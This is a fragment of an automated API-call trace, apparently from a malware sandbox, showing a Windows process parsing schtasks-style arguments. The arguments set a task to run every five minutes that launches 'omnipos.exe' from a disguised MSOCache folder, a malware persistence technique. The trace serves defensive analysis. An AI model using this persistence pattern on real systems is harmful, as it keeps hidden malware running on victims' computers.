| out: _Buffer="|sc|") returned 4 [0114.101] lstrlenW (lpString="|?|") returned 3 [0114.101] lstrlenW (lpString="|sc|") returned 4 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.102] lstrlenW (lpString="create") returned 6 [0114.102] lstrlenW (lpString="create") returned 6 [0114.102] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.102] lstrlenW (lpString="sc") returned 2 [0114.102] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.102] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.102] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.102] lstrlenW (lpString="|create|") returned 8 [0114.102] lstrlenW (lpString="|sc|") returned 4 [0114.102] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0114.102] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.102] lstrlenW (lpString="delete") returned 6 [0114.102] lstrlenW (lpString="delete") returned 6 [0114.102] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.102] lstrlenW (lpString="sc") returned 2 [0114.102] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.102] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|delete|") returned 8 [0114.102] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.102] lstrlenW (lpString="|delete|") returned 8 [0114.102] lstrlenW (lpString="|sc|") returned 4 [0114.102] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0114.102] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.102] lstrlenW (lpString="query") returned 5 [0114.102] lstrlenW (lpString="query") returned 5 [0114.102] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.102] lstrlenW (lpString="sc") returned 2 [0114.102] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.103] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|query|") returned 7 [0114.103] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.103] lstrlenW (lpString="|query|") returned 7 [0114.103] lstrlenW (lpString="|sc|") returned 4 [0114.103] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0114.103] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.103] lstrlenW (lpString="change") returned 6 [0114.103] lstrlenW (lpString="change") returned 6 [0114.103] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.103] lstrlenW (lpString="sc") returned 2 [0114.103] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.103] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|change|") returned 8 [0114.103] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.103] lstrlenW (lpString="|change|") returned 8 [0114.103] lstrlenW (lpString="|sc|") returned 4 [0114.103] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0114.103] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.103] lstrlenW (lpString="run") returned 3 [0114.103] lstrlenW (lpString="run") returned 3 [0114.103] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.103] lstrlenW (lpString="sc") returned 2 [0114.103] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.103] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|run|") returned 5 [0114.103] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.103] lstrlenW (lpString="|run|") returned 5 [0114.103] lstrlenW (lpString="|sc|") returned 4 [0114.104] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0114.104] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.104] lstrlenW (lpString="end") returned 3 [0114.104] lstrlenW (lpString="end") returned 3 [0114.104] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.104] lstrlenW (lpString="sc") returned 2 [0114.104] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.104] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|end|") returned 5 [0114.104] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.104] lstrlenW (lpString="|end|") returned 5 [0114.104] lstrlenW (lpString="|sc|") returned 4 [0114.104] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0114.104] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.104] lstrlenW (lpString="showsid") returned 7 [0114.104] lstrlenW (lpString="showsid") returned 7 [0114.104] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.104] lstrlenW (lpString="sc") returned 2 [0114.104] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.104] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|showsid|") returned 9 [0114.104] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|sc|") returned 4 [0114.104] lstrlenW (lpString="|showsid|") returned 9 [0114.104] lstrlenW (lpString="|sc|") returned 4 [0114.104] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0114.104] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.104] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.104] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.104] lstrlenW (lpString="/sc") returned 3 [0114.105] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] lstrlenW (lpString="/sc") returned 3 [0114.105] GetProcessHeap () returned 0x1f1146c0000 [0114.105] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x8) returned 0x1f1146c4760 [0114.105] GetProcessHeap () returned 0x1f1146c0000 [0114.105] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb850 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] lstrlenW (lpString="MINUTE") returned 6 [0114.105] lstrlenW (lpString="-/") returned 2 [0114.105] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] lstrlenW (lpString="MINUTE") returned 6 [0114.105] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] lstrlenW (lpString="MINUTE") returned 6 [0114.105] GetProcessHeap () returned 0x1f1146c0000 [0114.105] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146c4780 [0114.105] GetProcessHeap () returned 0x1f1146c0000 [0114.105] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb760 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.105] lstrlenW (lpString="/mo") returned 3 [0114.105] lstrlenW (lpString="-/") returned 2 [0114.105] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.105] lstrlenW (lpString="?") returned 1 [0114.105] lstrlenW (lpString="?") returned 1 [0114.106] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.108] lstrlenW (lpString="mo") returned 2 [0114.108] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.108] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|?|") returned 3 [0114.108] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.108] lstrlenW (lpString="|?|") returned 3 [0114.108] lstrlenW (lpString="|mo|") returned 4 [0114.108] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.108] lstrlenW (lpString="create") returned 6 [0114.108] lstrlenW (lpString="create") returned 6 [0114.108] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.108] lstrlenW (lpString="mo") returned 2 [0114.108] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.108] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.108] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.109] lstrlenW (lpString="|create|") returned 8 [0114.109] lstrlenW (lpString="|mo|") returned 4 [0114.109] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0114.109] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.109] lstrlenW (lpString="delete") returned 6 [0114.109] lstrlenW (lpString="delete") returned 6 [0114.109] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.109] lstrlenW (lpString="mo") returned 2 [0114.109] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.109] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|delete|") returned 8 [0114.109] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.109] lstrlenW (lpString="|delete|") returned 8 [0114.109] lstrlenW (lpString="|mo|") returned 4 [0114.109] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0114.109] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.109] lstrlenW (lpString="query") returned 5 [0114.109] lstrlenW (lpString="query") returned 5 [0114.109] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.109] lstrlenW (lpString="mo") returned 2 [0114.109] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.109] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|query|") returned 7 [0114.109] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.109] lstrlenW (lpString="|query|") returned 7 [0114.109] lstrlenW (lpString="|mo|") returned 4 [0114.109] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0114.109] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.109] lstrlenW (lpString="change") returned 6 [0114.109] lstrlenW (lpString="change") returned 6 [0114.110] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.110] lstrlenW (lpString="mo") returned 2 [0114.110] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.110] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|change|") returned 8 [0114.110] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.110] lstrlenW (lpString="|change|") returned 8 [0114.110] lstrlenW (lpString="|mo|") returned 4 [0114.110] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0114.110] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.110] lstrlenW (lpString="run") returned 3 [0114.110] lstrlenW (lpString="run") returned 3 [0114.110] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.110] lstrlenW (lpString="mo") returned 2 [0114.110] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.110] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|run|") returned 5 [0114.110] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.110] lstrlenW (lpString="|run|") returned 5 [0114.110] lstrlenW (lpString="|mo|") returned 4 [0114.110] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0114.110] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.110] lstrlenW (lpString="end") returned 3 [0114.110] lstrlenW (lpString="end") returned 3 [0114.110] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.110] lstrlenW (lpString="mo") returned 2 [0114.110] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.110] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|end|") returned 5 [0114.110] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.111] lstrlenW (lpString="|end|") returned 5 [0114.111] lstrlenW (lpString="|mo|") returned 4 [0114.111] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] lstrlenW (lpString="showsid") returned 7 [0114.111] lstrlenW (lpString="showsid") returned 7 [0114.111] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.111] lstrlenW (lpString="mo") returned 2 [0114.111] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.111] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|showsid|") returned 9 [0114.111] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|mo|") returned 4 [0114.111] lstrlenW (lpString="|showsid|") returned 9 [0114.111] lstrlenW (lpString="|mo|") returned 4 [0114.111] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] lstrlenW (lpString="/mo") returned 3 [0114.111] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] lstrlenW (lpString="/mo") returned 3 [0114.111] GetProcessHeap () returned 0x1f1146c0000 [0114.111] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x8) returned 0x1f1146c47a0 [0114.111] GetProcessHeap () returned 0x1f1146c0000 [0114.111] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb940 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.111] lstrlenW (lpString="5") returned 1 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] lstrlenW (lpString="5") returned 1 [0114.112] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] lstrlenW (lpString="5") returned 1 [0114.112] GetProcessHeap () returned 0x1f1146c0000 [0114.112] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x4) returned 0x1f1146c47c0 [0114.112] GetProcessHeap () returned 0x1f1146c0000 [0114.112] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb5b0 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] lstrlenW (lpString="/tr") returned 3 [0114.112] lstrlenW (lpString="-/") returned 2 [0114.112] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.112] lstrlenW (lpString="?") returned 1 [0114.112] lstrlenW (lpString="?") returned 1 [0114.112] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.112] lstrlenW (lpString="tr") returned 2 [0114.112] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.112] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|?|") returned 3 [0114.112] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.112] lstrlenW (lpString="|?|") returned 3 [0114.112] lstrlenW (lpString="|tr|") returned 4 [0114.112] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.112] lstrlenW (lpString="create") returned 6 [0114.112] lstrlenW (lpString="create") returned 6 [0114.112] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.113] lstrlenW (lpString="tr") returned 2 [0114.113] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.113] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.113] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.113] lstrlenW (lpString="|create|") returned 8 [0114.113] lstrlenW (lpString="|tr|") returned 4 [0114.113] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0114.113] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.113] lstrlenW (lpString="delete") returned 6 [0114.113] lstrlenW (lpString="delete") returned 6 [0114.113] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.113] lstrlenW (lpString="tr") returned 2 [0114.113] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.113] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|delete|") returned 8 [0114.113] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.113] lstrlenW (lpString="|delete|") returned 8 [0114.113] lstrlenW (lpString="|tr|") returned 4 [0114.113] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0114.113] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.113] lstrlenW (lpString="query") returned 5 [0114.113] lstrlenW (lpString="query") returned 5 [0114.113] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.113] lstrlenW (lpString="tr") returned 2 [0114.113] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.113] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|query|") returned 7 [0114.113] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.114] lstrlenW (lpString="|query|") returned 7 [0114.114] lstrlenW (lpString="|tr|") returned 4 [0114.114] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0114.114] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.114] lstrlenW (lpString="change") returned 6 [0114.114] lstrlenW (lpString="change") returned 6 [0114.114] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.114] lstrlenW (lpString="tr") returned 2 [0114.114] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.114] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|change|") returned 8 [0114.114] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.114] lstrlenW (lpString="|change|") returned 8 [0114.114] lstrlenW (lpString="|tr|") returned 4 [0114.114] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0114.114] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.114] lstrlenW (lpString="run") returned 3 [0114.114] lstrlenW (lpString="run") returned 3 [0114.114] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.114] lstrlenW (lpString="tr") returned 2 [0114.114] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.114] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|run|") returned 5 [0114.114] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.114] lstrlenW (lpString="|run|") returned 5 [0114.114] lstrlenW (lpString="|tr|") returned 4 [0114.114] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0114.114] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.114] lstrlenW (lpString="end") returned 3 [0114.115] lstrlenW (lpString="end") returned 3 [0114.115] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.115] lstrlenW (lpString="tr") returned 2 [0114.115] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.115] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|end|") returned 5 [0114.115] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.115] lstrlenW (lpString="|end|") returned 5 [0114.115] lstrlenW (lpString="|tr|") returned 4 [0114.115] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0114.115] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.115] lstrlenW (lpString="showsid") returned 7 [0114.115] lstrlenW (lpString="showsid") returned 7 [0114.115] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.115] lstrlenW (lpString="tr") returned 2 [0114.115] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.115] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|showsid|") returned 9 [0114.115] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tr|") returned 4 [0114.115] lstrlenW (lpString="|showsid|") returned 9 [0114.115] lstrlenW (lpString="|tr|") returned 4 [0114.115] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0114.115] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.115] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.115] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.115] lstrlenW (lpString="/tr") returned 3 [0114.115] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0114.115] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.115] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.115] lstrlenW (lpString="/tr") returned 3 [0114.116] GetProcessHeap () returned 0x1f1146c0000 [0114.116] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x8) returned 0x1f1146c47e0 [0114.116] GetProcessHeap () returned 0x1f1146c0000 [0114.116] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb6d0 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.116] lstrlenW (lpString="-/") returned 2 [0114.116] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.116] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.116] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'" [0114.116] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.116] GetProcessHeap () returned 0x1f1146c0000 [0114.116] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c4800 [0114.116] _memicmp (_Buf1=0x1f1146c4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.116] GetProcessHeap () returned 0x1f1146c0000 [0114.116] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146caa30 [0114.116] GetProcessHeap () returned 0x1f1146c0000 [0114.116] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146ca9b0 [0114.116] _memicmp (_Buf1=0x1f1146ca9b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.116] GetProcessHeap () returned 0x1f1146c0000 [0114.116] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, 